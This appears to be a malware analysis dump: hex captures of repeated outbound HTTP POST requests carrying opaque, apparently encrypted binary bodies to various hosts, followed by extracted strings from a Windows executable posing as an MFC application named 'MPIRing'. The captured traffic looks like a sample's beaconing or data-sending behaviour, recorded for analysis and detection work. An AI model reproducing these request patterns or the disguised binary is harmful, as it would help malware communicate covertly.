0x00000100 (00256)   913ffd50 aa900a57 757d7f5c 406af461   .?.P...Wu}.\@j.a
0x00000110 (00272)   65737420 70616765 2e2e2e3c 2f68333e   est page...</h3>
0x00000120 (00288)   0a0a2020 20203c69 6d672073 72633d22   ..    <img src="
0x00000130 (00304)   696e7465 726e6574 2e676966 223e0a20   internet.gif">. 
0x00000140 (00320)   203c2f62 6f64793e 0a3c2f68 746d6c3e    </body>.</html>
0x00000150 (00336)   0afee83c 5591cb3e 90c29440 7548cca7   ...<U..>...@uH..
0x00000160 (00352)   fe7d4044 331a78ab de3dec47 a87f3f4a   .}@D3.x..=.G..?J
0x00000170 (00368)   81987e4b                              ..~K

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203135   ntent-Length: 15
0x00000070 (00112)   340d0a55 7365722d 4167656e 743a204d   4..User-Agent: M
0x00000080 (00128)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000090 (00144)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000a0 (00160)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000b0 (00176)   3b205356 31290d0a 486f7374 3a206c61   ; SV1)..Host: la
0x000000c0 (00192)   706f7374 652e6e65 740d0a43 6f6e6e65   poste.net..Conne
0x000000d0 (00208)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000e0 (00224)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x000000f0 (00240)   3a206e6f 2d636163 68650d0a 0d0aea3d   : no-cache.....=
0x00000100 (00256)   2e725ff8 acf644b1 54fc1c04 e30126f9   .r_...D.T.....&.
0x00000110 (00272)   8b131c11 491b2efe 3c21b72f 1eb16060   ....I...<!./..``
0x00000120 (00288)   65b89432 6a3dd33a 9e49f0d3 67d0eb10   e..2j=.:.I..g...
0x00000130 (00304)   8655c463 145b8e50 89603a3e fe6549fb   .U.c.[.P.`:>.eI.
0x00000140 (00320)   c9663e17 e870c769 7676d7bc 047c959b   .f>..p.ivv...|..
0x00000150 (00336)   7185efea fd8b95ca 689675dc 7e01ec37   q.......h.u.~..7
0x00000160 (00352)   b8a10294 9b0c25cc cab14564 aeb84da1   ......%...Ed..M.
0x00000170 (00368)   31be59c6 734007cd a9ce2c52 03d56ccc   1.Y.s@....,R..l.
0x00000180 (00384)   46deb40f 5ee746b4 26721ed9 5ff34f06   F...^.F.&r.._.O.
0x00000190 (00400)   607ea7bf cf848aac                     `~......

0x00000000 (00000)   504f5354 202f3f70 74727863 7a5f4f69   POST /?ptrxcz_Oi
0x00000010 (00016)   31314363 77455871 39526a33 4c657847   11CcwEXq9Rj3LexG
0x00000020 (00032)   59724153 6c344d66 79485a73 20485454   YrASl4MfyHZs HTT
0x00000030 (00048)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000040 (00064)   2f2a0d0a 41636365 70742d4c 616e6775   /*..Accept-Langu
0x00000050 (00080)   6167653a 20656e2d 75730d0a 436f6e74   age: en-us..Cont
0x00000060 (00096)   656e742d 54797065 3a206170 706c6963   ent-Type: applic
0x00000070 (00112)   6174696f 6e2f6f63 7465742d 73747265   ation/octet-stre
0x00000080 (00128)   616d0d0a 436f6e74 656e742d 4c656e67   am..Content-Leng
0x00000090 (00144)   74683a20 39350d0a 55736572 2d416765   th: 95..User-Age
0x000000a0 (00160)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x000000b0 (00176)   28636f6d 70617469 626c653b 204d5349   (compatible; MSI
0x000000c0 (00192)   4520362e 303b2057 696e646f 7773204e   E 6.0; Windows N
0x000000d0 (00208)   5420352e 313b2053 5631290d 0a486f73   T 5.1; SV1)..Hos
0x000000e0 (00224)   743a2079 61686f6f 2e636f6d 2e74770d   t: yahoo.com.tw.
0x000000f0 (00240)   0a436f6e 6e656374 696f6e3a 204b6565   .Connection: Kee
0x00000100 (00256)   702d416c 6976650d 0a436163 68652d43   p-Alive..Cache-C
0x00000110 (00272)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000120 (00288)   0d0a0d0a b4e8b31d a20e7921 90343e25   ..........y!.4>%
0x00000130 (00304)   648ed028 52b4952c 260e2830 1434ed33   d..(R..,&.(0.4.3
0x00000140 (00320)   e88d7f37 c94d2b3b aa0dd73e 8bcd8242   ...7.M+;...>...B
0x00000150 (00336)   6c8d2e46 4d4dda49 2e0d864d 02671851   l..FMM.I...M.g.Q
0x00000160 (00352)   e326c454 c4e66f58 a5a61b5c 8666c75f   .&.T..oX...\.f._
0x00000170 (00368)   9f267363 6be61e67 4ca6ca6a 7e6a766e   .&sck..gL..j~jvn
0x00000180 (00384)   5a83900f 5ee746b4 26721ed9 5ff34f06   Z...^.F.&r.._.O.
0x00000190 (00400)   607ea7bf cf848aac                     `~......

0x00000000 (00000)   504f5354 202f3f70 74727863 7a5f496c   POST /?ptrxcz_Il
0x00000010 (00016)   354e677a 48617442 556d364f 68344e4f   5NgzHatBUm6Oh4NO
0x00000020 (00032)   6c364f67 30496174 43556d36 20485454   l6Og0IatCUm6 HTT
0x00000030 (00048)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000040 (00064)   2f2a0d0a 41636365 70742d4c 616e6775   /*..Accept-Langu
0x00000050 (00080)   6167653a 20656e2d 75730d0a 436f6e74   age: en-us..Cont
0x00000060 (00096)   656e742d 54797065 3a206170 706c6963   ent-Type: applic
0x00000070 (00112)   6174696f 6e2f6f63 7465742d 73747265   ation/octet-stre
0x00000080 (00128)   616d0d0a 436f6e74 656e742d 4c656e67   am..Content-Leng
0x00000090 (00144)   74683a20 33380d0a 55736572 2d416765   th: 38..User-Age
0x000000a0 (00160)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x000000b0 (00176)   28636f6d 70617469 626c653b 204d5349   (compatible; MSI
0x000000c0 (00192)   4520362e 303b2057 696e646f 7773204e   E 6.0; Windows N
0x000000d0 (00208)   5420352e 313b2053 5631290d 0a486f73   T 5.1; SV1)..Hos
0x000000e0 (00224)   743a206f 322e636f 2e756b0d 0a436f6e   t: o2.co.uk..Con
0x000000f0 (00240)   6e656374 696f6e3a 204b6565 702d416c   nection: Keep-Al
0x00000100 (00256)   6976650d 0a436163 68652d43 6f6e7472   ive..Cache-Contr
0x00000110 (00272)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000120 (00288)   d1e8686e 2cd7b4f2 042a43f8 cf16b8fd   ..hn,....*C.....
0x00000130 (00304)   e903de04 65f0a108 30dd6518 0830a513   ....e...0.e..0..
0x00000140 (00320)   77b8                                  w.

0x00000000 (00000)   504f5354 202f3f70 74727863 7a5f304b   POST /?ptrxcz_0K
0x00000010 (00016)   64774659 56774a63 77455872 41547038   dwFYVwJcwEXrATp8
0x00000020 (00032)   526a6335 65325476 45587239 20485454   Rjc5e2TvEXr9 HTT
0x00000030 (00048)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000040 (00064)   2f2a0d0a 41636365 70742d4c 616e6775   /*..Accept-Langu
0x00000050 (00080)   6167653a 20656e2d 75730d0a 436f6e74   age: en-us..Cont
0x00000060 (00096)   656e742d 54797065 3a206170 706c6963   ent-Type: applic
0x00000070 (00112)   6174696f 6e2f6f63 7465742d 73747265   ation/octet-stre
0x00000080 (00128)   616d0d0a 436f6e74 656e742d 4c656e67   am..Content-Leng
0x00000090 (00144)   74683a20 3132380d 0a557365 722d4167   th: 128..User-Ag
0x000000a0 (00160)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x000000b0 (00176)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x000000c0 (00192)   49452036 2e303b20 57696e64 6f777320   IE 6.0; Windows 
0x000000d0 (00208)   4e542035 2e313b20 53563129 0d0a486f   NT 5.1; SV1)..Ho
0x000000e0 (00224)   73743a20 696e666f 7365656b 2e6a700d   st: infoseek.jp.
0x000000f0 (00240)   0a436f6e 6e656374 696f6e3a 204b6565   .Connection: Kee
0x00000100 (00256)   702d416c 6976650d 0a436163 68652d43   p-Alive..Cache-C
0x00000110 (00272)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000120 (00288)   0d0a0d0a a94e972b 2d3a0f33 1f52cc3a   .....N.+-:.3.R.:
0x00000130 (00304)   fc5751c6 d8a3dbcc eaa6b354 4b190a68   .WQ........TK..h
0x00000140 (00320)   6c7206f6 09156a7d 48e06a04 17c6db0b   lr....j}H.j.....
0x00000150 (00336)   61f48993 8e5f711a 5e45e221 1fc53929   a...._q.^E.!..9)
0x00000160 (00352)   fd10c430 485e4e38 1c750b40 2fb68f4a   ...0H^N8.u.@/..J
0x00000170 (00368)   84                                    .

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203139   ntent-Length: 19
0x00000070 (00112)   380d0a55 7365722d 4167656e 743a204d   8..User-Agent: M
0x00000080 (00128)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000090 (00144)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000a0 (00160)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000b0 (00176)   3b205356 31290d0a 486f7374 3a206279   ; SV1)..Host: by
0x000000c0 (00192)   752e6564 750d0a43 6f6e6e65 6374696f   u.edu..Connectio
0x000000d0 (00208)   6e3a204b 6565702d 416c6976 650d0a43   n: Keep-Alive..C
0x000000e0 (00224)   61636865 2d436f6e 74726f6c 3a206e6f   ache-Control: no
0x000000f0 (00240)   2d636163 68650d0a 0d0a7b56 cdd557a2   -cache....{V..W.
0x00000100 (00256)   57dd1922 afe4ce3b edeb9d21 5ef345d5   W.."...;...!^.E.
0x00000110 (00272)   82fa14bb f301c9d4 310998ba a2105a3a   ........1.....Z:
0x00000120 (00288)   fa171cba 511fd1d3 8f269353 e72d6f9f   ....Q....&.S.-o.
0x00000130 (00304)   7135e5bd e1494306 6a522cb8 0d5afb9d   q5...IC.jR,..Z..
0x00000140 (00320)   7e61dfdb                              ~a..

0x00000000 (00000)   504f5354 202f3f70 74727863 7a5f4665   POST /?ptrxcz_Fe
0x00000010 (00016)   7a496277 46587239 536b334d 65794a62   zIbwFXr9Sk3MeyJb
0x00000020 (00032)   76445770 38516932 4b637745 20485454   vDWp8Qi2KcwE HTT
0x00000030 (00048)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000040 (00064)   2f2a0d0a 41636365 70742d4c 616e6775   /*..Accept-Langu
0x00000050 (00080)   6167653a 20656e2d 75730d0a 436f6e74   age: en-us..Cont
0x00000060 (00096)   656e742d 54797065 3a206170 706c6963   ent-Type: applic
0x00000070 (00112)   6174696f 6e2f6f63 7465742d 73747265   ation/octet-stre
0x00000080 (00128)   616d0d0a 436f6e74 656e742d 4c656e67   am..Content-Leng
0x00000090 (00144)   74683a20 3135370d 0a557365 722d4167   th: 157..User-Ag
0x000000a0 (00160)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x000000b0 (00176)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x000000c0 (00192)   49452036 2e303b20 57696e64 6f777320   IE 6.0; Windows 
0x000000d0 (00208)   4e542035 2e313b20 53563129 0d0a486f   NT 5.1; SV1)..Ho
0x000000e0 (00224)   73743a20 70696e6e 74656368 2e636f6d   st: pinntech.com
0x000000f0 (00240)   0d0a436f 6e6e6563 74696f6e 3a204b65   ..Connection: Ke
0x00000100 (00256)   65702d41 6c697665 0d0a4361 6368652d   ep-Alive..Cache-
0x00000110 (00272)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x00000120 (00288)   650d0a0d 0a42e852 b95f325c c1144c9a   e....B.R._2\..L.
0x00000130 (00304)   c8d6cbf1 cfa5b162 d75acba0 de29b111   .......b.Z...)..
0x00000140 (00320)   e6deca4f eda04aa7 f462cafe fb244a56   ...O..J..b...$JV
0x00000150 (00336)   03e6c9ad 0aa84905 125d6343 1939afcd   ......I..]cC.9..
0x00000160 (00352)   20e162f2 27b04863 2f6562a1 361a7cdf    .b.'.Hc/eb.6.|.
0x00000170 (00368)   3d14fc36 45c17b8e 4c83fbe5 53891924   =..6E.{.L...S..$
0x00000180 (00384)   5b535803 c8a014d3 699a9d7f d610ae68   [SX.....i......h
0x00000190 (00400)   78b2424a 805648fe 8666663c 0b62d10a   x.BJ.VH..ff<.b..
0x000001a0 (00416)   9a231f95 a1e19cca aaca1c44 b064287a   .#.........D.d(z
0x000001b0 (00432)   bb407404 c3f58d42 cac473b3 d1935924   .@t....B..s...Y$
0x000001c0 (00448)   d948                                  .H

0x00000000 (00000)   504f5354 202f3f70 74727863 7a5f4c66   POST /?ptrxcz_Lf
0x00000010 (00016)   304b6377 45587239 536b344e 667a4861   0KcwEXr9Sk4NfzHa
0x00000020 (00032)   7543566f 37516932 4b647846 20485454   uCVo7Qi2KdxF HTT
0x00000030 (00048)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000040 (00064)   2f2a0d0a 41636365 70742d4c 616e6775   /*..Accept-Langu
0x00000050 (00080)   6167653a 20656e2d 75730d0a 436f6e74   age: en-us..Cont
0x00000060 (00096)   656e742d 54797065 3a206170 706c6963   ent-Type: applic
0x00000070 (00112)   6174696f 6e2f6f63 7465742d 73747265   ation/octet-stre
0x00000080 (00128)   616d0d0a 436f6e74 656e742d 4c656e67   am..Content-Leng
0x00000090 (00144)   74683a20 37320d0a 55736572 2d416765   th: 72..User-Age
0x000000a0 (00160)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x000000b0 (00176)   28636f6d 70617469 626c653b 204d5349   (compatible; MSI
0x000000c0 (00192)   4520362e 303b2057 696e646f 7773204e   E 6.0; Windows N
0x000000d0 (00208)   5420352e 313b2053 5631290d 0a486f73   T 5.1; SV1)..Hos
0x000000e0 (00224)   743a206d 7765622e 636f2e7a 610d0a43   t: mweb.co.za..C
0x000000f0 (00240)   6f6e6e65 6374696f 6e3a204b 6565702d   onnection: Keep-
0x00000100 (00256)   416c6976 650d0a43 61636865 2d436f6e   Alive..Cache-Con
0x00000110 (00272)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000120 (00288)   0d0a265a 769702a6                     ..&Zv...

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203230   ntent-Length: 20
0x00000070 (00112)   390d0a55 7365722d 4167656e 743a204d   9..User-Agent: M
0x00000080 (00128)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000090 (00144)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000a0 (00160)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000b0 (00176)   3b205356 31290d0a 486f7374 3a206d69   ; SV1)..Host: mi
0x000000c0 (00192)   6c697461 72792e63 6f6d0d0a 436f6e6e   litary.com..Conn
0x000000d0 (00208)   65637469 6f6e3a20 4b656570 2d416c69   ection: Keep-Ali
0x000000e0 (00224)   76650d0a 43616368 652d436f 6e74726f   ve..Cache-Contro
0x000000f0 (00240)   6c3a206e 6f2d6361 6368650d 0a0d0a36   l: no-cache....6
0x00000100 (00256)   605f6835 e5396e27 04fb73f2 f06f79ca   `_h5.9n'..s..oy.
0x00000110 (00272)   43fe7e95 3073847a e91a8a45 d68f8f1d   C.~.0s.z...E....
0x00000120 (00288)   291e95f5 7bac9acd ce3aa098 bbafa570   )...{....:.....p
0x00000130 (00304)   0e3eab48 61ccb013 4e41b6eb a0cfbbb6   .>.Ha...NA......
0x00000140 (00320)   8d44c18e e0d2c666 3361cc76 86efd139   .D.....f3a.v...9
0x00000150 (00336)   d97dd711 2c0cdd3a 839ae2              .}..,..:...

0x00000000 (00000)   504f5354 202f3f70 74727863 7a5f7241   POST /?ptrxcz_rA
0x00000010 (00016)   536c344d 66794759 7341536b 3339536c   Sl4MfyGYsASk39Sl
0x00000020 (00032)   344d6578 46587138 5169324b 20485454   4MexFXq8Qi2K HTT
0x00000030 (00048)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000040 (00064)   2f2a0d0a 41636365 70742d4c 616e6775   /*..Accept-Langu
0x00000050 (00080)   6167653a 20656e2d 75730d0a 436f6e74   age: en-us..Cont
0x00000060 (00096)   656e742d 54797065 3a206170 706c6963   ent-Type: applic
0x00000070 (00112)   6174696f 6e2f6f63 7465742d 73747265   ation/octet-stre
0x00000080 (00128)   616d0d0a 436f6e74 656e742d 4c656e67   am..Content-Leng
0x00000090 (00144)   74683a20 37380d0a 55736572 2d416765   th: 78..User-Age
0x000000a0 (00160)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x000000b0 (00176)   28636f6d 70617469 626c653b 204d5349   (compatible; MSI
0x000000c0 (00192)   4520362e 303b2057 696e646f 7773204e   E 6.0; Windows N
0x000000d0 (00208)   5420352e 313b2053 5631290d 0a486f73   T 5.1; SV1)..Hos
0x000000e0 (00224)   743a2069 6e74656c 6e65742e 6e65742e   t: intelnet.net.
0x000000f0 (00240)   67740d0a 436f6e6e 65637469 6f6e3a20   gt..Connection: 
0x00000100 (00256)   4b656570 2d416c69 76650d0a 43616368   Keep-Alive..Cach
0x00000110 (00272)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000120 (00288)   6368650d 0a0d0a21 d52d3d8d 228fc35c   che....!.-=."..\
0x00000130 (00304)   08                                    .

0x00000000 (00000)   504f5354 202f3f70 74727863 7a5f6179   POST /?ptrxcz_ay
0x00000010 (00016)   485a7342 546c3450 68787848 5a74494b   HZsBTl4PhxxHZtIK
0x00000020 (00032)   6a324c64 77455771 38516932 20485454   j2LdwEWq8Qi2 HTT
0x00000030 (00048)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000040 (00064)   2f2a0d0a 41636365 70742d4c 616e6775   /*..Accept-Langu
0x00000050 (00080)   6167653a 20656e2d 75730d0a 436f6e74   age: en-us..Cont
0x00000060 (00096)   656e742d 54797065 3a206170 706c6963   ent-Type: applic
0x00000070 (00112)   6174696f 6e2f6f63 7465742d 73747265   ation/octet-stre
0x00000080 (00128)   616d0d0a 436f6e74 656e742d 4c656e67   am..Content-Leng
0x00000090 (00144)   74683a20 3136380d 0a557365 722d4167   th: 168..User-Ag
0x000000a0 (00160)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x000000b0 (00176)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x000000c0 (00192)   49452036 2e303b20 57696e64 6f777320   IE 6.0; Windows 
0x000000d0 (00208)   4e542035 2e313b20 53563129 0d0a486f   NT 5.1; SV1)..Ho
0x000000e0 (00224)   73743a20 727a2d6f 6e6c696e 652e6465   st: rz-online.de
0x000000f0 (00240)   0d0a436f 6e6e6563 74696f6e 3a204b65   ..Connection: Ke
0x00000100 (00256)   65702d41 6c697665 0d0a4361 6368652d   ep-Alive..Cache-
0x00000110 (00272)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x00000120 (00288)   650d0a0d 0ab46c8e 9806eebc 1ec86d14   e.....l.......m.
0x00000130 (00304)   268aed6b 2d8e075b 36018701 3cb6a08e   &..k-..[6...<...
0x00000140 (00320)   4d8586b0 4ade3bd5 5116ec78 59bb2e2d   M...J.;.Q..xY..-
0x00000150 (00336)   728e5db0 fc918b70 8334504e 9477cca3   r.]....p.4PN.w..
0x00000160 (00352)   9c46b214 a4ee6539 ab0c4caa b2c8bb78   .F....e9..L....x
0x00000170 (00368)   beb5d5b6 c56fbb27 cd24d565 d42af3a3   .....o.'.$.e.*..
0x00000180 (00384)   dbe7cb69 48338839 ea2e11e6 56ac13c7   ...iH3.9....V...
0x00000190 (00400)   fca9725a 05674441 0c3664              ..rZ.gDA.6d

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203231   ntent-Length: 21
0x00000070 (00112)   340d0a55 7365722d 4167656e 743a204d   4..User-Agent: M
0x00000080 (00128)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000090 (00144)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000a0 (00160)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000b0 (00176)   3b205356 31290d0a 486f7374 3a20636f   ; SV1)..Host: co
0x000000c0 (00192)   6d706f72 69756d2e 6e65740d 0a436f6e   mporium.net..Con
0x000000d0 (00208)   6e656374 696f6e3a 204b6565 702d416c   nection: Keep-Al
0x000000e0 (00224)   6976650d 0a436163 68652d43 6f6e7472   ive..Cache-Contr
0x000000f0 (00240)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000100 (00256)   fa0128d3 82e69bdc 6b913be6 32c48973   ..(.....k.;.2..s
0x00000110 (00272)   05a3f67b 0e39b105 663eea1a 7e2ac9aa   ...{.9..f>..~*..
0x00000120 (00288)   12600f34 48bef2bc 0e3746c6 4ff8d64f   .`.4H....7F.O..O
0x00000130 (00304)   73f6a0d8 3a6ff4e1 f2812eeb c7609bf4   s...:o.......`..
0x00000140 (00320)   094108fe d4eaa707 debe0e14 2a9cfa1d   .A..........*...
0x00000150 (00336)   1f91a32f 55468670 1de41b7f 340c6ef2   .../UF.p....4.n.
0x00000160 (00352)   aaf38596 c4416105 4bb15fa9 7cc224e5   .....Aa.K._.|.$.
0x00000170 (00368)   b323ecee 93a2c074 7eae7901 2929cd0a   .#.....t~.y.))..
0x00000180 (00384)   d1d37b15 cbb25a1d 3625d7a7 461b702b   ..{...Z.6%..F.p+
0x00000190 (00400)   3196d1b9 8a15eec3 5b2828cd 2e4dabd6   1.......[((..M..
0x000001a0 (00416)   66acde59 e42e09e9 66a55cf2 57fdacfb   f..Y....f.\.W...
0x000001b0 (00432)   55424c80 39bd780d a96e7e96 9a460720   UBL.9.x..n~..F. 
0x000001c0 (00448)   1ae4eb29 a9c05833 7ce5db3c 5991c650   ...)..X3|..<Y..P
0x000001d0 (00464)   a617dada 6795                         ....g.


Strings
n.K

040904B0
1, 0, 0, 1
About4Quit the application; prompts to save documents
&About MPIRing...
About MPIRing
Account:
Account & Password
&Arrange Icons
Cancel
&Cascade
Close
&Close
Close the active document
CompanyName
&Copy	Ctrl+C
Copyright (C) 2000
Create a new document
Cu&t	Ctrl+X
?Display program information, version number and copyright
&Edit
Enter
Exit
E&xit
&File
FileDescription
FileVersion
Find
&Help
InternalName
LegalCopyright
LegalTrademarks
Make Ring
MPD Ring
MPIRin
MPIRin Document
MPIRing
MPIRing1
MPIRing Application
MPIRing.Document
MPIRing.EXE
MPIRing MFC Application
MPIRing Version 1.0
MS Sans Serif
&New	Ctrl+N
&New Window
Open
Open an existing document
&Open...	Ctrl+O
OriginalFilename
Password:
&Paste	Ctrl+V
Please enter an account to run the mpd's under.  All spawned processes will launch in this context:
ProductName
ProductVersion
Quit
Ready
Refresh
Save0Save the active document with a new name
Save As
Save &As...
&Save	Ctrl+S
Save the active document
SCRL
StringFileInfo
TEXTINCLUDE
&Tile
Translation
&Undo	Ctrl+Z
VarFileInfo
VS_VERSION_INFO
&Window
070AtDExj
"0B		I6
0[HZzY
]4l1NB
6Gc@#hp
.7)DL8
8v9opw
8 vWmd
{_a"j4
APad. {d
a}SZ"!
BnMSz,lo
b!T9w%q
cw3sMbO
@.data
#define _AFX_NO_OLE_RESOURCES
#define _AFX_NO_PROPERTY_RESOURCES
#define _AFX_NO_SPLITTER_RESOURCES
#define _AFX_NO_TRACKER_RESOURCES
#endif
#endif //_WIN32
FdxgK@
fL|X@_
gdi32.dll
GetModuleHandleA
GetObjectW
GetProcAddress
g_f'2^
h4h ws
Ib@S,:C
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
#ifdef _WIN32
=i'\L!
#include "afxres.h"
#include "afxres.rc"         // Standard components
#include "res\MPIRing.rc2"  // non-Microsoft Visual C++ edited resources
jgn	Z#
K~`-?"
kernel32.dll
kIgxe*"Zoqy(:
`Kl\8=
kT\8MMKK
LANGUAGE 9, 1
LoadImageA
M8i5-`
M+dvnO
MessageBoxW
|mjS^M0
MW;AwO7&
n@}BrF
n){RhH
nSJ$*~
Of*[A(p
#pragma code_page(1252)
qHi4sM6Q &
qTyx&Bo
`.rdata
resource.h
!This program cannot be run in DOS mode.
U6'9BJ2
, uqEf
user32.dll
u;Z,U#9#
VKP8b23
)VMm&5Iy
wviX_USk
}X-z7;
y1:K&.3
[ye`tgm3ke
'z-U[1